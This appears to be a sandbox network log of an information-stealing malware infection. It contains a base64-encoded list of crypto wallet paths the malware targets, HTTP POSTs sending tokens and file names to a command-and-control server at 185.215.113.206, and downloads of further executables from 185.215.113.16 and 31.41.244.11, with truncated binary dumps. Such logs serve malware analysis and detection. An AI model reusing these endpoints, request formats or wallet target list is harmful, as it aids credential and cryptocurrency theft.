Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11 [TRUNCATED]
Dec 2, 2024 11:20:48.428109884 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"files------EBFHJEGDAFHIJKECFBKJ--
Dec 2, 2024 11:20:48.752645016 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:48.768534899 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="file"------EBGDAAKJJDAAKFHJKJKF--
Dec 2, 2024 11:20:49.591461897 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 2, 2024 11:20:49.605818987 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 42 46 49 49 45 43 42 47 44 47 44 47 44 48 43 41 4b 2d 2d 0d 0a Data Ascii: ------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------EGDBFIIECBGDGDGDHCAKContent-Disposition: form-data; name="message"ybncbhylepme------EGDBFIIECBGDGDGDHCAK--
Dec 2, 2024 11:20:49.930911064 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49749	185.215.113.16	80	9140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:20:50.256546021 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 2, 2024 11:20:50.578870058 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:20:50 GMT Content-Type: application/octet-stream Content-Length: 1922560 Last-Modified: Mon, 02 Dec 2024 09:40:58 GMT Connection: keep-alive ETag: "674d80aa-1d5600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@ Lr@WkKK @.rsrc@.idata @ *@miionvrr@1:@mlkqwbasK0@.taggant0K"4@ [TRUNCATED]
Dec 2, 2024 11:20:50.579092979 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:20:50.579229116 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:20:50.579246998 CET	1289	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 11:20:50.579351902 CET	1289	IN	Data Raw: 74 3e 0f df 9d a2 e2 55 ec 2e af 1f 2d 23 13 e4 eb 11 70 9c 63 da b3 0d 10 9e 08 11 34 1b 05 9f 75 a2 b3 61 f3 16 24 11 ed d2 89 a9 78 98 6f 71 5c a0 65 ac 03 f5 2a a9 f3 18 7f 60 24 30 6b 41 90 b4 6a 04 22 a2 c9 42 31 d5 12 c4 eb 96 0d c4 94 4a Data Ascii: t>U.-#pc4ua$xoq\e`$0kAj"B1JCmvrm9 uotd)N4JcnrDL.o\|$7HC2f>K!B_v5a=B`rr8qm>$tIRs"->;
Dec 2, 2024 11:20:50.579479933 CET	1289	IN	Data Raw: a3 13 44 ec e4 55 12 84 8b 72 94 ef 18 a4 79 9c b2 be ab b0 f8 9e f1 fa 41 4f d9 b3 d2 a4 e3 e9 ca 88 95 db 18 5e 93 e1 49 99 b0 53 be 74 ea e2 cf fd 7f 47 48 dc 36 23 47 f7 ac a3 bf e8 6b a3 49 50 81 29 82 62 0f 2f ca b9 7f f4 92 cd 82 64 e6 fc Data Ascii: DUryAO^IStGH6#GkIP)b/d`gbE#jW6_vd-ZFAWV/ dbdpY\$QU{>g"12&K{lju+4:bqHKf2(\|{0fhAm
Dec 2, 2024 11:20:50.579552889 CET	1289	IN	Data Raw: 03 7e a7 9a 4b fd 6b 65 a8 c1 19 8b 63 94 30 8f 5a 96 2f c5 0e 2e 7b ea 9b 0f e6 52 f5 3d 74 a9 19 28 7d 7c 61 83 74 f8 34 1d cc bf 6d 6b 4e 2b 0a 2b 05 4e bc c8 fb ea 0a 7b 4c 6e a4 08 7d f2 ab d8 db 03 42 25 b1 e6 b9 51 2f 53 1a 86 0e 82 14 d4 Data Ascii: ~Kkec0Z/.{R=t(}\|at4mkN++N{Ln}B%Q/SW>6D@c(-y?HMKX:koA\|WF:h=[B]sX# ;}k{ke_d"RI'aD(B.j~3aS2I1*2i>Rh37A31L7
Dec 2, 2024 11:20:50.579653025 CET	1289	IN	Data Raw: c9 fc ef d3 11 35 6a 33 1e 24 e3 ca 32 b4 48 06 c7 f4 d3 75 a1 58 b8 f9 c2 53 d9 51 0b d7 7a 11 5f 03 ff db 3e f9 a3 f0 07 5c 34 bb 53 0f 18 7b 22 88 96 cf e2 af 53 c3 fa a3 d4 b1 24 90 ea 04 48 59 c3 68 0e 3f 9e 9e 8b d3 7c 6a 49 7f ac 89 ab f0 Data Ascii: 5j3$2HuXSQz_>\4S{"S$HYh?\|jIU$t]%AF<!$DH95.wP@3~G@s?G]*Vi=N>1s.a-kPZ0o.\|[\`qY,Zc{up2ld)I
Dec 2, 2024 11:20:50.579871893 CET	1289	IN	Data Raw: f0 4b 2f 8f 59 49 43 eb db a2 11 dd 91 63 8c 4c 00 33 2e 6f 19 0a c7 80 93 e9 eb f9 51 df 23 2d de 8d d8 e5 0f 98 12 11 a1 83 45 eb 40 97 54 5c ec 94 0a 17 db 98 24 2f b5 54 09 5d 39 63 b3 6a 6f d5 dc ae 9e 07 ad 56 11 de ed a3 c3 7e cc 81 37 27 Data Ascii: K/YICcL3.oQ#-E@T\$/T]9cjoV~7' 7+'u"mBxY#TL/1?F!B8,*.hW\e?4:?$\|mm9zG"8!j?IX7>whLuP
Dec 2, 2024 11:20:50.579890966 CET	1289	IN	Data Raw: c7 f3 2a 7b fd 58 71 84 c8 71 39 61 22 cf 39 21 43 e3 d8 a6 e1 d6 fd 6c 74 14 de 69 5c af 26 b8 d2 ef 39 e1 fa 04 91 b1 fb d4 84 98 1a 12 ae 67 f3 37 bc 22 cd 72 33 31 81 34 52 3c f2 0a 5b f2 fd 5d ca 11 a1 fd c0 eb 3a d3 a9 7e 49 71 e7 43 ae 5a Data Ascii: {Xqq9a"9!Clti\&9g7"r314R<[]:~IqCZ@`83!Ssd&0bojn3n}M)2WrI!_eR,\kOQ$@ngv7sB<I%&is=WC!R=d&nl~UL;'
Dec 2, 2024 11:20:50.901242018 CET	1289	IN	Data Raw: e4 97 b2 0c a3 19 0d a0 d2 96 22 67 b6 85 dc a2 9d 41 3c b1 8c 59 a3 a9 ed 1b c7 f7 ee 28 ce 1a 84 f3 ea 38 8c c9 3b e1 f4 6f ca 04 8f 28 0c 77 c6 f1 8a 15 39 68 63 16 ed b0 43 89 9e db e1 fa 16 2c 54 36 9a f3 f3 e6 b5 82 44 24 31 b3 80 aa 7b fa Data Ascii: "gA<Y(8;o(w9hcC,T6D$1{eksb{?#1zm=tc^}9-L164.[>qgr2vq,_Z];oe'O}I?/uor8.t:Sj-S5nW(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49750	185.215.113.206	80	9140	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:20:55.064899921 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHIIIJDAAAAAAKECBFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 65 31 66 66 35 61 37 33 39 33 61 65 63 63 35 66 36 35 66 31 34 34 65 62 62 37 38 61 63 64 66 38 64 62 64 36 30 35 61 31 65 39 30 33 34 61 61 63 61 36 34 66 33 33 66 63 30 36 36 34 62 61 39 62 65 34 30 61 33 63 38 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 2d 2d 0d 0a Data Ascii: ------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="token"8e1ff5a7393aecc5f65f144ebb78acdf8dbd605a1e9034aaca64f33fc0664ba9be40a3c8------IEHIIIJDAAAAAAKECBFBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IEHIIIJDAAAAAAKECBFB--
Dec 2, 2024 11:20:55.890142918 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 10:20:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49751	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:04.620452881 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 2, 2024 11:21:04.944557905 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49752	185.215.113.43	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:06.782387972 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 45 39 31 43 46 45 35 44 44 30 43 34 36 41 44 43 45 34 43 36 39 33 41 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 45 33 37 44 41 39 33 41 41 38 37 32 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325E91CFE5DD0C46ADCE4C693A053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FE37DA93AA872FE481D3DA8732070E7A105D117CE95E9
Dec 2, 2024 11:21:07.127549887 CET	1090	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 38 33 0d 0a 20 3c 63 3e 31 30 31 30 34 33 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 62 63 32 31 32 31 35 65 39 30 31 62 32 31 66 31 36 30 33 35 32 61 64 38 34 63 61 33 63 65 32 61 61 39 61 35 35 33 36 65 36 23 31 30 31 31 31 31 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 64 63 62 31 38 31 38 65 66 30 37 62 30 31 65 31 34 30 33 37 64 61 61 66 61 66 31 32 64 61 37 61 66 39 61 35 35 33 36 65 36 23 31 30 31 31 32 33 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 64 32 64 63 62 31 38 31 38 65 66 30 37 62 30 31 65 31 34 30 33 34 31 38 38 65 36 63 62 31 37 62 36 66 64 39 61 35 35 33 36 65 36 [TRUNCATED] Data Ascii: 383 <c>1010433001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2bc21215e901b21f160352ad84ca3ce2aa9a5536e6#1011118001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2dcb1818ef07b01e14037daafaf12da7af9a5536e6#1011233001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9d2dcb1818ef07b01e14034188e6cb17b6fd9a5536e6#1011267001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1011268001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1011269001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1011270001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1011271001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1011272001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49753	31.41.244.11	80	2268	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 11:21:07.463268042 CET	66	OUT	GET /files/7403972632/gU8ND0g.exe HTTP/1.1 Host: 31.41.244.11
Dec 2, 2024 11:21:07.796595097 CET	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 10:21:07 GMT Content-Type: application/octet-stream Content-Length: 2342400 Last-Modified: Fri, 29 Nov 2024 23:45:15 GMT Connection: keep-alive ETag: "674a520b-23be00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 07 00 0c 31 4a 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 00 00 e4 02 00 00 d6 20 00 00 00 00 00 40 11 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 24 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 73 03 00 50 00 00 00 00 00 00 00 00 00 00 00 00 d0 23 00 c0 15 00 00 00 00 00 00 00 00 00 00 00 10 24 00 90 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 03 03 00 28 00 00 00 28 6b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd1Jg" @@ $`8sP#$((k8v.textF `.rdata@@.data @.pdata##@@.00cfg##@@.tls$#@.reloc$#@B [TRUNCATED]
Dec 2, 2024 11:21:07.796870947 CET	1289	IN	Data Raw: 00 00 00 00 56 48 83 ec 20 48 8b 05 1c f0 02 00 c7 00 01 00 00 00 48 8b 05 17 f0 02 00 c7 00 01 00 00 00 48 8b 05 12 f0 02 00 c7 00 01 00 00 00 48 8b 0d d5 ef 02 00 0f b7 11 31 c0 81 fa 4d 5a 00 00 75 4b 48 63 51 3c 81 3c 11 50 45 00 00 75 3e 48 Data Ascii: VH HHHH1MZuKHcQ<<PEu>HQtu'ytr!HrH19H91#H0/0H0/0C'H,8uH'-1H ^
Dec 2, 2024 11:21:07.796987057 CET	1289	IN	Data Raw: f3 8a 03 00 d4 bd 0d b7 e8 82 fe ff ff c7 05 e4 8a 03 00 f2 91 20 0e e8 73 fe ff ff c7 05 d5 8a 03 00 f7 bc eb c1 e8 64 fe ff ff c7 05 c6 8a 03 00 c0 3f 73 8f e8 55 fe ff ff c7 05 b7 8a 03 00 c6 ae e8 8c e8 46 fe ff ff c7 05 a8 8a 03 00 fe 7c 17 Data Ascii: sd?sUF\|,7.(fE{:lA],~Nb?50[!"27"Fk
Dec 2, 2024 11:21:07.797091007 CET	1289	IN	Data Raw: 00 48 89 c6 48 89 c1 e8 16 2b 00 00 48 8d 15 6f e7 02 00 4c 8d 05 c8 2a 00 00 48 89 f1 e8 50 28 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 41 57 41 56 56 57 53 48 83 ec 20 48 89 ce 4c 8b 39 48 8b 49 08 0f b6 46 20 8d 50 fe 83 fa 03 73 Data Ascii: HH+HoL*HP(AWAVVWSH HL9HIF PsH~HH~PLr@IOH9t7HHcHHHIHtF F WFH\t/I1H9HHHWH9H
Dec 2, 2024 11:21:07.797358990 CET	1289	IN	Data Raw: 8d 04 4a 48 39 f0 74 2b 48 01 c9 eb 14 66 66 66 2e 0f 1f 84 00 00 00 00 00 48 01 c8 48 39 f0 74 12 44 0f b7 00 41 83 f8 5c 74 ee 41 83 f8 2f 74 e8 eb 08 48 89 f0 48 85 f6 74 18 48 39 f2 73 06 48 83 c2 04 eb 04 48 83 c2 fc 48 39 d0 0f 84 06 fe ff Data Ascii: JH9t+Hfff.HH9tDA\tA/tHHtH9sHHH91H ^I9rHVHtHH ^HH ^AWAVAUATVWSH HH9I AsLfMI)u4sF WFH [_^A\A]A^A_HNL$OMI)twH_
